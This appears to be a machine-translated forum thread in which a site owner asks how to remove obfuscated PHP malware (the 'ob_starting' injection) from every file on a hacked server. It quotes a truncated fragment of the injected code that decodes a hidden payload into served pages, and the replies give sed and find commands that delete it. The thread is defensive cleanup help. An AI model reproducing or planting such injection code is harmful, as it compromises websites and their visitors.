可能重复:
我的服务器被黑了应急
你好,
我急需你的帮助,因为服务器已被黑客入侵,我没有时间学习如何从所有文件中删除黑客的代码。 我附加了添加到所有文件的代码。 在这个代码中有很多特殊的字符,它是相当大的。 它被添加到文件有时两次。
我不知道sed很好解决这个问题。 如何从所有文件中排除这段代码? 使用sed,diff / patch或其他技术?
以下是要删除的代码的一部分:
<?php global $ob_starting; if(!$ob_starting) { function ob_start_flush($s) { $tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51); $tr = array(50, 2, 5, 4, 11, 26, 3, 0, 3, 30, 26, 1, 28, 32, 3, 1, 61, 3, 52, 44, 21, 31, 21, 2, 5, 4, 11, 26, 3, 32, 60, 11, 25, 0, 9, 3, 30, 26, 1, 7, 25, 9, 4, 1, 14, 1, 25, 16, 5, 7, 13, 7, 4, 2, 8, 28, 28, 32, 24, 15, 14, 1, 25, 11, 15, 1, 14, 32, 8, 0, 36, 0, 0, 0, 31, 21, 4, 0, 14, 11, 31, 16, 5, 7, 13, 7, 4, 2, 0, 28, 0, 15, 1, 42, 0, 63, 4, ------------- ------------- $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i); return $s; } $ob_starting = time(); @ob_start("ob_start_flush");
我将不胜感激任何帮助。 谢谢。
更新:
I have tried using the code like: for fname $(grep *.php .); do while read; do sed -i 's/$REPLY//' $fname done < filem done
其中filem是包含恶意代码的文件。 在这个文件中,我replace了所有特殊字符,比如$(等于'。',但仍然带有许多错误。
意见中的build议是完全正确的。 你确实需要从备份中恢复,但是如果黑客的代码看起来像上面的例子那么你可以试试这个(首先制作一个webroot的备份副本)。
sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' cleanme.php
走的webroot和所有的子目录,你可以使用find:
find $WEBROOT -type f -exec sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' {} \;
sed删除给定的开始和结束variables之间的所有内容。 祝你好运。
你使用的是osCommerce吗? 也许你应该看看他们的支持论坛,似乎是其他人处理几乎相同的事情 – 而不理解问题的情况下删除代码将最有可能导致它再次发生
http://forums.oscommerce.com/topic/373376-hacked-by-code-global-ob-starting/
http://forums.oscommerce.com/topic/373373-site-hacked-should-you-upgrade-or-try-to-fix-it-as-it-is/